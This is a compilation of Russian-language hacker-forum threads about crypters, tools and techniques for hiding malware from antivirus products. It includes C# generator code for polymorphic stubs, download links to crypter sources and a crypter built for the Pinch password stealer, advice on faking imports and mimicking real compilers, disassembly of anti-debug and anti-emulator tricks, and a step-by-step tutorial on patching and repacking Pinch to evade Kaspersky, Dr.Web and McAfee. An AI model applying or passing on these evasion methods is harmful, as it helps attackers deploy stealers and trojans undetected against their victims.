Начнём с теории. dotNet софт имеет свой язык по типу асма, он называется IL, dotNet софт на сколько я знаю
запускается в виртуальной машине как и Java.

Это усложняет работу для ав так как им нужно использовать никальные техники для анализа dotNet файла.
Я решил использовать это и написал простенький криптор и генератор стаба.

Сам генератор стаба генерировал рандомное число в определённом диапазоне и в зависимости от этого
числа выберал что ему делать, добавлять мусорный код, добавить код запуска и так далее..

Я сделал в крипторе отдельные генераторы для функций, кода и тп..
P.S. говнокод, писал очень давно

C#:Copy to clipboard

            int count = 5;
            int w = 10;
            while (w > count)
            {
                w = Convert.ToInt32(ran.genInt(1));
            }

            switch (w) {
                case 5: return rand5(callfunc);
                case 4: return rand4(callfunc);
                case 3: return rand3(callfunc);
                case 2: return rand2(callfunc);
                case 1: return rand1(callfunc);
                default: return rand1(callfunc);
            }

Суть такого крипта в том, что он будет жить очень долго, а как умрёт нужно будет
немного переписать маски рандомного кода и методы запуска софта, и опять будет FUD
На данный момент я при первом тесте полчил два детекта, а на следующем тесте получил 10 детектов :|
(Без ESET кстати)

Src: https://anonfile.com/F7Idq794n0/sharp_rar

C++

Тут я решил попробовать что будет, если я на шарпах буду генерировать алгоритм шифрования, шифровать им массив байтов,
генерировать C++ сорс и его компилировать, я использовал консольный компилятор GCC для этих целей.

Мой криптор работал по следующей схеме:
генерации сида (Пример: +-^^-+--++-+^^^+-^+--+-^),
генерация алгоритма шифрования на основе этого сида:
+ = сложение
- = вычитание
^ = xor
шифрование файла этим алгоритмом,
создание .cpp файла и последующая компиляция gcc

суть этого метода в том, что если создать большой алгоритм шифрования то авер просто не вывезет это.
Ну как вы поняли у меня было 0 детектов на скантайме и примерно 2 детекта на рантайме.

Вообще я не ожидал что это сработает, я просто эксперементировал =)
Вот код генератора на C#

C#:Copy to clipboard

        static List<string> polyGen(uint[] c, int decoders_count_min, int decoders_count_max)
        {
            List<string> ret = new List<string>();
            string arrayCode = "unsigned char arcode[" + c.Length + "] = ";

            List<string> decryptors_array = new List<string>();
            List<string> variables = new List<string>();

            arrayCode += "{";

            List<string> decoder = new List<string>();

            arrayCode += cByte(c, decoder, decoders_count_min + (Convert.ToInt32(r.int_(3)) % (decoders_count_max - decoders_count_min + 1)));

            decryptors_array = decoder;

            arrayCode += "};";

            variables = blendArray(variables);
            ret.Add(arrayCode);
            for (int i = 0; i < variables.Count; i++)
            {
                ret.Add(variables[i]);
            }
            for (int i = 0; i < decryptors_array.Count; i++)
            {
                ret.Add(decryptors_array[i]);
            }

            return ret;
        }

Src: https://anonfile.com/f5Kaq198n4/cplusplus_rar

Заключение

В заключении хочу сказать что крипторы вообще мёртвая тема т.к. современные мощности позваляют
сделать антивирус который всё это присечёт, к примеру гипервизор. Я не понимаю почему крипторы и малварь вообще
жива, скорее всего это кому-то выгодно. И по поводу dotNet софта, на мой взгляд этот язык не подходит
для написания малвари по ряду очевидных причин, но как говорился каждый дрочет так как хочет

На мой взгляд стабовые крипторы уже давно мертвы, и не стоит пытаться делать такой криптор.
Лушче чуть больше вникнуть во всё это и писать нормальный криптор, чем больше стараешься, тем
больше выхлоп будет от софта.

На данный момент имеет перспективу APT и fileless малварь, а загрузки и прочее это как-то не интересно =)
Чтобы написать криптор мне потребовалось немного пива и две недели свободного кодинга (не все сутки, а когда хочу).

Криптография в крипторах тоже играет очень большую роль, чем сложнее она, тем хуже будет аверам. Ещё я не понимаю
тех, кто говорит что стаб должен импортировать все функции по хешу и тп, я так не думаю.. ну как, почти. Я думаю что
стаб должен использовать статические импорты, но критические и 'палевные' части он должен динамически импортировать.
Я думаю что авер не такой наивный что при виде файлика с нулевыми импортами и непонятным кодом скажет что он чист =)

Антивирусы делают тоже люди, такие же люди как и мы, и у них тоже есть мозги. Отличие в том, что они работают за зарплату
в своих офисах, а мы работаем за идею, за цель, за интерес.

Уже есть теноголии для анализа закриптованной малвари, но внедрили самую хреновую из них =)
На мой взгляд самая лучшая технология это та, которая при открытии файла помещает его вм с полной симуляцией вызовов а не
так, как сейчас с ихними заглушками, Про скорость это бред, не так уж и много всего там. Ещё я не понимаю всей чепухи с инжектами,
почему аверы допускают 'уникальные техники' инжекта. Я думаю что у них хватит денег на разработку системы детектирования внедрения кода
в чужую память. И отлетят все инжекты. И ведь прикол в том, что этого ещё не сделали! У них огромные компании, а они анализируют файлик ёпт =)

Единственное что мне нравится в авера так это то, что они хукают функции. Это очень хорошая идея как по мне, хоть и самая последняя т.к.
файл уже прошёл сигнатурное сканирование и говно-ав-вм. Осталось только это. Ав-вм технология перспективная, но реализовали её не так,
как это стоило сделать. Повторяюсь, всё что я тут описал это не много для них, у них оффисы, огромные деньги крутятся у них. Денег им
хватает даже очень (Я говорю про Kaspersky, ESET, Dr.Web и подобные).

Вобщем антивирусы это очень мутная тема, кто или что их заставляет отказываться от таких решений нам узнать не дано. Возможно это
правительство, возможно это действительно не выполнимо, а может быть это всё массоны:smile95:

Криптор новогодний релиз.
ID: 6764df13b4103b69df3718ca
Thread ID: 16540
Created: 2008-12-25T10:32:45+0000
Last Post: 2009-08-11T12:12:58+0000
Author: Грот
Replies: 48 Views: 18K

Всех с Новым Годом.
решил выложит новогодний презент для форума.
Криптор "Static Criptor"

Данный криптор имеет ряд недостатков т.к спешил выложить до Нового Года

данный криптор рассчитан в основном на pinch все опции только для него но, вы можете попробовать криптовать и другие программы.
в дальнейшем будет поддерживаться зеус и другие вирусы.
Static Criptor
пароль: "123grot"

Чистка Троянов
ID: 6764df13b4103b69df3718d1
Thread ID: 3681
Created: 2005-05-03T10:31:09+0000
Last Post: 2006-05-12T18:04:39+0000
Author: Wo0F
Prefix: Видео
Replies: 17 Views: 15K

Снял видео , в котором наглядно показано как спрятать троян от антивируса...
Смотрите...
Качать тут www.woof.newmail.ru/chistiak.rar

Крипторы
ID: 6764df13b4103b69df3718cd
Thread ID: 9858
Created: 2006-07-12T21:25:02+0000
Last Post: 2006-12-08T08:03:11+0000
Author: m0use
Replies: 35 Views: 13K

Есть у кого халявные крипторы не палящиеся антивирусами?

Криптор. Методика выживания
ID: 6764df13b4103b69df3718b1
Thread ID: 24813
Created: 2013-11-15T17:28:38+0000
Last Post: 2015-05-16T21:58:29+0000
Author: MrLoki
Replies: 38 Views: 11K

Первая статья в жизни, просьба сильно не пинать.

Итак начнем.
Не знаю как другие, а я начал свое знакомство с ассемблером с написания своего криптора.
Почему именно криптор? Сначала было интересно изучать ассмемблер (в универе его не дали), хотелось понять, смогу ли я сделать что-то подобное. Хотелось видеть
как код реально исполняется на железе (реальные кодеры меня поймут).
Потом я понял, что на этом можно делать неплохие деньги, и при этом не горбатится на чужого дядю, опять же свой график, работа дома и еще куча плюшек.
Первое время было легко, крипт шел на ура, чистка раз в неделю максимум, то есть все довольны.
Потом понеслось-поехало, что ни день так детект от 1-2 ав (обычно нод + бит, сейчас еще и аваст со своей сетью).
Технику поиска детекта оставим на потом. Сейчас нам интересен другой вопрос: " Как облегчить чистку?"
У меня обычно уходит на читску минут 10-15, иногда приходится делать ее 2 раза в день (связано с невозможностью полностью мутировать код антиэмуля).

Итак какие шаги нам предпринять чтобы максимально повысить отдачу от своего криптора.
После многочисленных проб, я понял, что необходимо маскироваться под реальные компиляторы , то есть структура выходного файла должна строго
соответствовать реальным файлам. Мы берем файл от кого-либо компилятора и смотрим как он устроен, импорт, рич, версия линкера, расположение и порядок секций
и еще много чего. Естественно энтропия и ресурсы. Мы делаем так что задектить файл без кучи ложных детктов очень сложно (но можно). Еще одна хитрость в том, что
мы специально оставляем место в декрипторе, которое будут детектить (чтобы легче было чистить, и чтобы ав сильно не ковырялись в файле), у меня это вызов антиэмулятора.
Вот когда я избрал такой подход, чистить стало легче, стало видно на какие параметры ав смотрят особо. Иногда бывает достаточно добавить\изменить пару байт
(речь не о устранении сигнатуры, а о приближении выходного файла, по параметрам, к реальным файлам).
Есть у меня в крипторе даже возможность сделать выходной файл под разные компиляторы (правда сейчас использую гибрид компиляторов).

Разберем параметры, которым ав уделяют особое внимание.

Одним из основных критириев нормального файла является его импорт. Тут 3 основных вопроса:

1.Какие функции можно использовать?

Берете любое стандартое win приложение и выдираете импорт оттуда.
Мой софт как раз так и делает (для того чтобы выходные файлы разнились, достаточно случайным образом удалять несколько функций из полученных), обычно я использую импорт калькулятора.

2.Как корректно вызвать функции?

Функции должны реально вызываться, или нужно сделать так чтобы ав в это поверили. Ибо неиспользуемый импорт это детект.
Начнем с параметров передаваемых функции, я генерю код который их передает (сами параметры случайны), используются все возможные варианты
передачи параметров в стек (с учетом того, какие варианты используются чаще в реальных программах).
Теперь поговорим о вызове, раньше я делал реальные вызовы обернутые в SEH, запихал все функции, которые нашел в заголовочных файлах masm32.
Это давало кучу детектов и нестабильное поведение выходного файла (ведь параметры то случайные, некоторые функции портили стек и программа вылетала),
и время исполнения вырастало и отлаживать файлы
было нереально под защитой (допустим выходной файл падает, нужно найти это место). Такая схема устраивала меня лишь сначала.
Потом я написал код, который выдирает импорт из PE файлов, детекты ушли, но нужно было улучшить стабильность.
Я подумал, а почему бы не тупо не проскакивать вызовы функций? Добавил в генератор импорта безусловный переход, который стоял перед фейковой функцией,
и стабильность стала 100%. Однако такая схема долго не протянула, так так без всякого эмулятора, ав видели что импорт фейковый, то есть функуии реально не вызываются
(случайные параметры
передаваемые в функцию тоже детект дают). После небольших раздумий мне стало ясно, нужно сделать так чтобы без эмуляции кода не было понятно,
вызывается функция или нет. Это я сделал довольно легко, достаточно было изменить переход на условный, в качетсве условия сравнения какой либо переменной
из секции данных. Все законно, все как у реальных файлов, а функции то не вызываются.
Еще были проблемы с базонезависимым кодом, наш код должен работать по любому загруженному адресу, это накладывает некоторые ограничения на код.
Так же хочу отметить, Avira не видит вызовы функций при косвенной адресации (или детектит), только прямые вызовы.

3. Количество вызовов функций?

У меня функции вызвываются как можно чаще, через каждую строку полезного кода. Это дает нескольких преимушеств: размытие кода декриптора для выявления
сигнатур, усложняет реверс программы, делает код похожим на реальный (так как выходной файл больше файла декриптора, соответсвенно и функций он должен
вызвать и больше и чаще), скрываются реальные вызовы функции (точнее затрудняется их поиск).

Atomic Obfuscator 9 [C#]
ID: 6764df13b4103b69df371891
Thread ID: 38706
Created: 2020-06-22T15:55:10+0000
Last Post: 2020-12-26T14:16:46+0000
Author: Viktor3852
Replies: 44 Views: 10K

Аннотация 2020-06-22 224704.png
В паблике найти сложно, функционал добротный.
Для использования достаточно перенести файл в окно около кнопки Obfuscate, выбрать нужные опции и нажать эту самую кнопку. Файл будет сохранен в папке AtomicProtected внутри проекта.
Некоторые настройки могут ломать файл. На скриншоте те настройки, которые не сломали мой файл.
Ссылки:
Сам инструмент
Исходный код

Обзор или реверс? :)
ID: 6764df13b4103b69df3718c9
Thread ID: 18142
Created: 2009-08-12T18:06:20+0000
Last Post: 2010-01-17T16:39:53+0000
Author: KraZz
Replies: 23 Views: 9K

Хех, не умею я темы называть правильно, ну да ладно..
Вообщем читаю данный форум, но я не из тех, кто просто читает, нужно немного пусть даже статус: бита %)), написать своего
ЗЫ: "Новостная лента" – нравится :)
Жертва анализа:
http://demonteam.narod.ru/download/calc_crypted.rar (65KB)
Не знаю чье это творчество, но посчитал, что именно на этом сэмпле лучше всего сделать "обзор", имеет место быть профессионализм у чела кто делал этот "криптор".. (на правах нуба, если что пишу – все ниже написанное: ИМХО)
Суть обзора заключается в том, чтобы указать те аспекты, на которые надо обращать при покупке/тесте криптора
Тут описаны будут вещи, ну скажем чич-то "технические", обычному юзеру тяжко будет понять – ИМХО

Всегда просите тест-крипт калькулятора(реверс/анализ такого сэмпла сделать всегда проще(реверс делайте всегда на VM!)), если файл палится(не содержащий в себе засранчика), значит это проблемы чич-то криптора
Это уже может на многое указывать, что криптует ламерок какой-то, не шарит даже в PE-формате и 99% делал с помощью чьих-то паблик, полу-приват(но, уже паленый) исходников итд..
Также смотрите на возможность изменить иконку, версию, image base(для dll) в файле и на возможность криптовать *.sys файлы
Если все это криптор умеет и после крипта траблов нет, значит, пишет его профессионал, знающий отлично PE-формат и оптимизацию
Ну и самое главное обращайте внимание на сам саппорт - криптор без поддержки это уже не криптор - ИМХО

И так посмотрим на сэмпл и сделаем первые выводы
Я здесь немного опишу софт который "юзаю", но че там в конце получиццо, хз. пишу чич-то сходу
PEview(31KB) - http://www.magma.ca/~wjr/PEview.zip
Показывает структуру PE-формата, очень удобная навигация по смещениям итд.
image base на стандартный не изменил(у калькулятора image base естественно "другой"), ставим минус
посмотрим на импорт, хм.. не изменен, но судя по структуре стаба.., сделать фейковый импорт запросто может – поставим минус
но с идеей, сразу стучимся в саппорт %))(ламерскими вопросами есссстено не тревожим)
шучу конечно-же, криптор импорт меняет, но стремно – не хватает библ типа GDI итд., разнообразия скажем так..
так теперь обратим внимание на Entry Point, кажет в первую секцию кода.. но "атрибуты" секции кода не радуют, должно быть 0x60000020, а имеем всего лишь банально 0xC0000000 – поставим минус
к ресурсам ламерское отношение – лижбы было да и хс.. - минус
на сим ламерский обзор заканчиваю, каждый более подробно может обратить внимание на все аспекты через утиль PEview или другую однотипную %)))

и так проанализируем следующее
вопрос, какие техники криптор юзает – ответ очевиден, достаточно посмотреть на код
инструмент юзаю стандартный, как и все Shadow(мод. ollydbg) более подробно читаем цикл статей на васме для нубов
для профи, посещаем - http://www.openrce.org/
из техник юзается обфускация и пермутиция
ЗЫ: вот есть пишут криптую в ручную – обычно это просто генерик рандомный(обфускация) для ламеров, чтобы повысить продажи и сделать вид, что трудиццо каг негр, но это просто сопли и не более %)))
декриптор скорее всего мутирует при каждом крипте – здесь плюс (даже с одно сэмпла, можно сделать такие выводы!)

Code:Copy to clipboard

[decrypt]
01013A63  E8 6D120000          	CALL 01014CD5                        
01014DBB  5E                    POP ESI                              
ESI=01013A68 
01014FD9  81EE CCF9FFFF        	SUB ESI,-634                        	
ESI=0101409C 
01014D65  56                    PUSH ESI                            	
01015413  81C6 CCF9FFFF        	ADD ESI,-634                        	
ESI=01013A68 
01015185  B8 81432F16          	MOV EAX,162F4381                    	
EAX=162F4381 
01015038  81F0 7B532F16        	XOR EAX,162F537B                    	
EAX=000010FA 
01014CA0  E9 99020000          	JMP 01014F3E                        	
01014F3E  F7DA                  NEG EDX                              
EDX=135E82FF 
01014F40  81EA 4C49725F        	SUB EDX,5F72494C                    	
EDX=B3EC39B3 
0101558A  8A1E                  MOV BL,BYTE PTR DS:[ESI]            	
EBX=010100F8 
0101513D  C0C3 04              	ROL BL,4                            	
EBX=0101008F 
01015503  C0CB 1B              	ROR BL,1B                            
EBX=010100F1 
01015566  80C3 C7              	ADD BL,0C7                          	
EBX=010100B8 
01015008  8AFB                  MOV BH,BL                            
EBX=0101B8B8 
010150C5  883E                  MOV BYTE PTR DS:[ESI],BH 
0101526F  46                    INC ESI                              
ESI=01013A69 
0101506E  48                    DEC EAX                              
EAX=000010F9 
01014B91  8BD0                  MOV EDX,EAX                          
EDX=000010F9 
010152BE  81EA 168358BD        	SUB EDX,BD588316                    	
EDX=42A78DE3 
01015306  81FA EA7CA742        	CMP EDX,42A77CEA                    	
0101530C  0F85 2EFCFFFF        	JNZ 01014F40   
01014F73  C3                    RETN                                	
0101409C  55                    PUSH EBP

но как я уже выше писал, атрибуты секции сведут на нет, эти "старания"
но его стаб позволяет внести небольшие изменения, чтобы убрать эти недостатки, скорее всего здесь просто еще не было траблов с аверами, поэтому все так просто..
морфа нет, сталобыть детект по "плавающим сигнатурам" возможен(ну вернее, при первом-же попадании к аверам его задетектят)
при этом, если обратить внимание на конструкции кода

Code:Copy to clipboard

01013587     81FA DB845519   CMP REG,IMM32
0101358D     87C9            XCHG ECX,ECX
0101358F     0F85 1FF9FFFF   JNZ 01012EB4

01012EB9     E8 8E0A0000     CALL 0101394C
0101394C     8D00            LEA EAX,DWORD PTR DS:[EAX]
0101394E     8F4424 FC       POP DWORD PTR SS:[ESP-4]

они по идее меняться долны при детекте, но.. на аналогичные, до следующего детекта
такие вот конструкции(ЛЯПЫ) оставляют, чтобы создать иллюзию поддержки, но суть здесь в том, что выигрывают "ВСЕ" и аверы и криптующий
авер через определенное время(от недели до месяца) "вносит сигнатуру в базу"(для тех кто реально платит), а криптующий сразу апгрэйдит и апает темы на всех форумах %)))
ЗЫ: проверяющий, вот так сразу врятли заметит такие ляпы – ИМХО
тут можно просто подумать, что это элемент пермутации и предназначен для прыжков на перестановленный код и доказать такой ляп никто не захочет!

Взглянем на конструкции которые юзаются для защиты от ав – назовем это все одним словом anti-av

Code:Copy to clipboard

[anti trace]
01012F43  B8 72C96241          	MOV EAX,4162C972                    	
0101377C  E9 A4020000          	JMP 01013A25                        	
01013A25  D2DF                  RCR BH,CL                            
01013A27  D2CD                  ROR CH,CL                            
01013556  81C0 AD326BB9        	ADD EAX,B96B32AD                    	
01013718  81F8 22AA668B        	CMP EAX,8B66AA22                    	
0101371E  0F85 03030000        	JNZ 01013A27                        	

[anti debug]
01012ECC  64:8B05 30000000      MOV EAX,DWORD PTR FS:[30]            
EAX=7FFDF000 
01013132  8B40 54              	MOV EAX,DWORD PTR DS:[EAX+54]        
EAX=7F6F0688 
01013187  8B40 04              	MOV EAX,DWORD PTR DS:[EAX+4]        	
EAX=7F6F06A0 
0101375C  8B40 04              	MOV EAX,DWORD PTR DS:[EAX+4]        	
EAX=7F6F2170 UNICODE "C:\WINDOWS" 
010131F2  8B40 04              	MOV EAX,DWORD PTR DS:[EAX+4]        	
EAX=0057005C 
010139DE  81E8 5D005700        	SUB EAX,57005D                      	
EAX=FFFFFFFF 
01013485  CD 2E                	INT 2E                              	
EAX=C000001C EDX=FFFFFFFF EDX=01013487 
01012DAF  2BD0                  SUB EDX,EAX                          
EDX=4101346B 
0101356E  81C2 1C0000C0        	ADD EDX,C000001C                    	
EDX=01013487 
01013A50  81EA 02000000        	SUB EDX,2                            
EDX=01013485 
01013081  8BC2                  MOV EAX,EDX                          
EAX=01013485 
01012F65  66:8138 CD2E          CMP WORD PTR DS:[EAX],2ECD          	DS:[01013485]=2ECD
01012F6A  E9 78040000          	JMP 010133E7                        	
010133E7  74 88                	JE SHORT 01013371                    
010138B7  C3                  RETN
01013371  E9 ED060000          	JMP 01013A63                        	

[anti emulator]
010140A3  B8 03000000          	MOV EAX,3                            
EAX=00000003 
010140A8  E9 77FEFFFF          	JMP 01013F24                        	
01013F24  33D2                  XOR EDX,EDX                          
EDX=00000000 
01013F26  66:8EE8              	MOV GS,AX                            
01013F29  E9 02FFFFFF          	JMP 01013E30                        	
01013E30  66:8CE8              	MOV AX,GS                            
EAX=00000000 
01013E33  D1C8                  ROR EAX,1                            
01013E35  72 F9                	JB SHORT 01013E30                    
01013E37  FC                    CLD

Я их разместил в порядке появления, по адресам.. думаю, понятно будет, где все находится
Не густо-о.., нового нет ничего и опять, можно сказать лижбы было – хех, минус

И еще не критично, но есть минус у него юзается конструкция для поиска загрузки адреса ntdll.dll(и не только)

Code:Copy to clipboard

[get ntdll.dll module handle]
01013A8C  68 F55ACF54          	PUSH 54CF5AF5  хеш                      
010146F7  E8 E3FEFFFF          	CALL 010145DF 
======                            
010145DF  55                    PUSH EBP                            	
010140B1  8BEC                  MOV EBP,ESP                          
EBP=0006FF58 
010140B3  53                    PUSH EBX                            	
010140B4  64:8B15 30000000      MOV EDX,DWORD PTR FS:[30]            
EDX=7FFD5000 
010140BB  8B52 0C              	MOV EDX,DWORD PTR DS:[EDX+C]        	
EDX=00191EA0 
01014922  8BDA                  MOV EBX,EDX                          
EBX=00191EA0 
01014924  83C3 0C              	ADD EBX,0C                          	
EBX=00191EAC 
010148DF  8B52 0C              	MOV EDX,DWORD PTR DS:[EDX+C]        	
EDX=00191EE0 
010148E2  8B12                  MOV EDX,DWORD PTR DS:[EDX]          	
EDX=00191F48 
010147CF  3BD3                  CMP EDX,EBX                          
010147D1  0F85 12010000        	JNZ 010148E9                        	
010148E9  8B4A 30              	MOV ECX,DWORD PTR DS:[EDX+30]        
ECX=7C9226A4 UNICODE "ntdll.dll" 
010148C2  33C0                  XOR EAX,EAX                          
EAX=00000000 
010148CE  66:8339 00            CMP WORD PTR DS:[ECX],0              DS:[7C9226A4]=006E
01014746  0F85 7A010000        	JNZ 010148C6                        	
010148C6  C1C0 07              	ROL EAX,7                            
010148C9  3201                  XOR AL,BYTE PTR DS:[ECX]            	
EAX=0000006E 
010148CB  83C1 02              	ADD ECX,2                            
ECX=7C9226A6 UNICODE "tdll.dll" 
010148CE  66:8339 00            CMP WORD PTR DS:[ECX],0              DS:[7C9226A8]=0064
01014746  0F85 7A010000        	JNZ 010148C6                        	
0101474C  F7D0                  NOT EAX                              
EAX=54CF5AF5 
0101474E  3B45 08              	CMP EAX,DWORD PTR SS:[EBP+8]        	
0101468F  0F85 36010000        	JNZ 010147CB                        	
01014695  8B42 18              	MOV EAX,DWORD PTR DS:[EDX+18]        
EAX=7C900000 IMAGEBASE "C:\WINDOWS\system32\ntdll.dll" 
01014698  E9 3A010000          	JMP 010147D7
	010147CB  8B12              MOV EDX,DWORD PTR DS:[EDX]
	010147CD  33C0              XOR EAX,EAX
	010147CF  3BD3              CMP EDX,EBX
	010147D1  0F85 12010000     JNZ 010148E9
010147D7  5B                    POP EBX                              
EBX=BEFE3F66 ESP=0006FF58 
01014334  C9                    LEAVE                                
ESP=0006FF5C EBP=0006FF84 
01014335  C2 0400              	RETN 4

Но тут трабла может выскочить, если имя ntdll.dll будет написано Ntdll.dll, файлег упадет, так как хеш уже будет другой
Но в паблике уже эту траблу обсосали, и даже готовое решение вложили - я про алго поиска, если что
Ну, далее это уже чич-то тех. аспекты и к теме отношения только косвенное имеют..(если честно надоело уже че-то писать) :)
Может кому пригодится :)

как нужно криптовать вирусы!!!
ID: 6764df13b4103b69df3718cc
Thread ID: 10823
Created: 2006-08-23T19:42:35+0000
Last Post: 2006-12-09T16:33:47+0000
Author: Bendar
Replies: 13 Views: 8K

Инструменты:
………………

HIEW 6.8x
PE Tools
PEiD 0.92
UPX 1.25
Some brains
………………

Всё, что написано ниже, предоставлено чисто для ознакомления. Я не несу ответственности за противозаконное использование материала.

………………

Зачем это пишется? Просто так.. Может вы скажите что умеете и так прятать любой вирус с помощью … ASProtect? Xtreme-Protector? .. or any protector? а может с помощью Afx!AVSpoffer? Да, конечно неплохо получается, пожав вирус получаем:

File size: 17KB compressed to 102KB, Ratio: 602,9%

Как круто =) да.. Об X-protector’e я уже молчу, там ещё круче.
Спуф от fij.. Скока мусора вставляется за один подход? А чтоб от веба спрятать вам придётся жать кнопку около 12-и раз. После этого шанс выжить у файла как – то резко уменьшается :). Тем более сейчас уже не актуально его использовать, по моему мнению.
В свою базу его не добавил, наверное, самый ленивый AV(Может это не так?). Т.к. сигнатуры (далее сигны -> последовательность байт) во все файлы начиная с entry point вставляет одинаковые.. Например:

Если не выбирать никакие опции получается:

CODE
60 55 81 F9 ?? 00 00 00 33 C0 55 54 81 F9 ?? 00 00 00 58 59 59 81 F9
Crypt DS:seg > 60 B8 00 ?? ?? 00 33 C9
random alghr > 60 55 90 90 81 F9 ?? 00 00

Другие опции пока ещё не доступны. Хотя мне было бы интересно посмотреть на “crypt RSRC”.

Ну а на счёт крипторов, которые вроде размер не увеличивают, да можете ими пользоваться, пока они не дойдут до суппорт-центра AV. А ребята там очень живо работают ?. Если попалится сама прожка, то вместе с ней и все чистяки.

Это я всё к тому, что зачем юзить какие - то левые проги, когда самому можно руками всё сделать. Уж тем более жать протекторами, которые совсем не для этого предназначены.

В данной статье я хочу показать вам на примере, как спрятать вирус от любых AV. Главное как можно меньше внести изменений в файл, мы же не собираемся шифровать весь файл, просто пара левых инструкций не помешает. Главное, чтоб работоспособность сохранилась, ведь нам не нужен дохлый файл ;). Проверять я буду этими антивирами: KAV 5.0, Dr.WEB 4.32b, McAfee Virus Scan 8.0 #41. На остальных не имеет смысла тестить :).

Итак, как же всё - таки можно спрятать вирус? На самом деле всё очень просто… на первый взгляд :). Практически все AV начинают сканить файл с точки входа. Далее устанавливают, упакован ли файл? Если да, то следует унпак, нет продолжают дальше...( проверяя валидный ли это PE файл, ведь у нас exe ) Именно здесь где то и есть наша сигна, по которой антивир палит вирус. Это не всё конечно, есть ещё уникальные сигны, дабы каждый файл не палился -). Если знакомых сигн нету, AV начинает эмулить пару инструкций, проверяя не хотят ли его наепать. Самый нормальный эвристик у веба.. имеет глубину 12 уровней. Мда… McAfee делает совершенно иначе, как мне показалось. Похоже, что ему на EP вообще посрать как

Дак вот.. нам надо подправить пару байт так, чтобы наша хорошая програмулька не упала и не палилась.
Естественно вставляемый нами код будет представлять мусор и больше ничего.
Мы не будем использовать умные фичи типа шифрования, т.к. это здесь не нужно.

Для начала возьмем свежескомпиленный pinch.exe. Будем прятать его.
Что бы можно было на себе тестить в настройках я выбрал: генерить всё в passwords.txt.
И ещё.. я не тыкнул пимпу “Encrypt”, это для шифрования инфы и паковку FSG 1.33, какой то извратный паковщик +).
Нусс.. открываем в hiew32.exe наш вир. Ну тут всё как обычно идёт pe header.. секции и т.д..
Заползём ка в третью секцию. Жмём F8 -> F6 -> .data -> [enter].

http://www.web-hack.ru/images/forum/virus/01.png

И что мы видим? упс.. наши настройки.

http://www.web-hack.ru/images/forum/virus/02.png

Естественно просто так их нельзя оставить. Но сначала надо немного поковырять Entry Point..
Идём на EP. Жмём F8 -> F5 затем ещё [enter] нажмите, будем вручную вбивать асм инструкции. Быстро записываем этот адрес. У меня: 403D8A <- OEP.

http://www.web-hack.ru/images/forum/virus/03.jpg

Сейчас мы немного побалуемся с точкой входа.
Листаем немного вниз, ищём кучу нулей. Раз 9 стоит нажать page down.
Встаем на любое место и .. Откуда эти нули?
Это обычная оптимизация для процессоров x86. Компилятор размещает данные по адресам, кратным величине выравнивания. В общем это как раз для нас ;).
Введём самое простое, что приходит на ум ( F3 -> F2 ):

CODE
pushad; сохраняем регистры
mov ecx, 125; заносим какое – то число
sub ecx, 110; чего – то вычитаем ..
xchg ecx, eax
xor eax, eax; обнуляем eax
xor ecx, ecx; обн. ecx
pop eax
pop ecx
mov eax, 403D8A; в eax наш OEP
mov ecx, 9
sub eax, ecx
add eax, 9
jmp eax; прыжок на OEP

Очень примитивно..
Таких переходов можно делать сколько угодно, лишь бы места хватило, а его как видно очень даже много.
Что мы вообще сделали? Сохранили регистры, то, что идёт до [pop eax] всё мусор.. и после тоже. В eax занесли наш OEP, в ecx пихнули 9, Вычли из eax, ecx. Прибавили к eax, 9 и получился OEP. Дальше понятно.. просто джамп.
Что очень просто? Ну а что.. и этого хватит на первое время. Может в будущем такие фичи будут сечь Антивиры. Хмм.. было бы круто -)..
Такс.. всё это дело вбили, жмём [Esc], F9 для сохранения.
Получилось что – то типа того:

http://www.web-hack.ru/images/forum/virus/04.jpg

Теперь пихаем наш файл в PE Tools (я использую PE Tools v1.5 Xmas Edition - by NEOx) .
Хотя EntryPoint можно менять сразу в hiew, но я чё - то не помню как там было :).. и флаги секций тоже.. Открываем вир с помощью пе эдитора. Жмём “Optional Header” и там смотрим Entry Point. Вот здесь нам нужно положить новый адрес. Я начал вбивать с адреса 404178. Поэтому из 404178 вычитаем image base (400000 – виртуальный адрес в памяти, начиная с которого программа загружена в память), получается 00004178. Вписываем новый адрес и “Ok”. Запустим наш exe.. работает? :).. cool. Нет? Хмм.. читай всё сначала.

Проверим.. значит KAV и Веб не палят, в отличии от McAfee -).
Что делать?.. пакнем наверно. Я возьму UPX 1.25, простенький и мощный паковщик.
Сначала посмотрим что показывает PEiD…> Not a valid PE file. %)
Не очень хорошо, после паковки упиксом такого файла, он быстренько сдохнет. В этом плане ASPack более неприхотлив. Не будем далеко ходить, воспользуемся плугом для пеида.. Rebuild PE (http://www.textsoft.nm.ru/RebuildPE.dll). Теперь что у нас…> Nothing found *. Так то лучше ..-). Теперь пакуем UPX’oм. Получилось 9 216 byte. Просто монстр какой – то :).
Сейчас задача внести пару изменений, чтобы анализатор не определял упикс, следовательно, не смог его распаковать.
Засовываем опять вир в hiew, [enter]. Листаем немного вниз и видим такое:

CODE
000003D0: 00 00 00 00-00 00 00 00-00 00 00 31-2E 32 35 00 1.25
000003E0: 55 50 58 21-0C 09 02 0A-6A D5 0F A0-BC 8C 4F 48 UPX!+0O0j-0а-МOH
000003F0: F8 64 02 00-BC 1A 00 00-E7 42 00 00-26 00 00 94 °dO -> чB & Ф

Сигны UPX. Недолго думая затираем их, F3 и вставляем какой нить мусор, F9 – сохраняем.
Потом [enter], F8 > F5 и мы на EP:

CODE
.00428AC0: 60 pushad <- OEP
.00428AC1: BE00704200 mov esi,000427000 -----^ (4)
.00428AC6: 8DBE00A0FDFF lea edi,[esi][0FFFDA000]
.00428ACC: 57 push edi
.00428ACD: 83CDFF or ebp,-001;"O"
.00428AD0: EB10 jmps .000428AE2 -----v (5)
.00428AD2: 90 nop
.00428AD3: 90 nop

Проделаем тоже самое, что и с непакованным вирем. Листаем вниз.. и видим кучу нулей :).
Встаём на любой адрес, F3 и сначала вводим опкоды: 74 00, затем на следующей строчке: E9, F9, пока сохраним.

CODE
00428C21: 7400 je .000428C23 -----v (3)
00428C23: E900000000 jmp .000428C28 -----v (4)

Это просто трюк, для обхода PEiD …> PE Pack 1.0 -> ANAKiN.
Дальше вводим уже знакомое (F3 > F2):

CODE
pushad
mov ecx, 428AC0; в ecx OEP
mov eax, 1
dec eax
mov eax, ecx
jmp eax

Вот и всё.. теперь опять вир пихаем в PE Tools, меняем Entry Point на новый адрес, с которого вы начали вводить: 74 00 и т.д. У меня 00428C21 – image base = 00028C21.
По пути заходим в “Sections”, затираем названия секций и меняем характеристики на C0000080. Запускаем наш вир… и он работает :).. Проверяем антивирами.. все в дауне, включая McAfee ;). Да, по ходу дела бекапте пинч, а то маловероятно, что с первого раза всё получиться.. хотя может быть.
